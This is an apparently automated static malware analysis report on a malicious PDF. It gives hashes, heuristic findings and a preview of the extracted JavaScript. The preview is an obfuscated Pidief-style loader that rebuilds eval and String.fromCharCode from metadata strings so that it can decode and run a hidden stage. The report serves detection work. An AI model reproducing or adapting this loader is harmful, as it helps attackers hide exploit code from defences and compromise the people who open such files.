Malicious PDF — malware analysis report

Static analysis result for SHA-256 be8ab3616ca75d08…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-07
MD5: 22946e7e3f4a2baeb4bcfc348977a976 SHA-1: 70bfcaed19a79d9c9d0a499732cfc3030d395d0b SHA-256: be8ab3616ca75d081390f8059694182c7d898eedb0eff7cb2cf05c473b74d036
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The ML classifier strongly indicates maliciousness, and heuristics confirm the presence of embedded JavaScript within the PDF. This JavaScript is likely intended to exploit a vulnerability in the PDF reader to execute arbitrary code. The file's SHA256 hash is included as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB030 489 bytes
SHA-256: 5a2fc723b58675632fa7dd7570ff0a8f786ce1672f66f26a607d6959426c0754
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
xsit=e(v[4]+'i'.concat(v[4],t));
q=xsit[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
stioh=e(e('d'));
sub=v[0];
sub+='ubject';
q=xsit[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	kod = 1*(q[i]);
	i++;
	kod -= (-1)*(q[i]);
	s2 += stioh(kod);
	i++;
}
e(s2);

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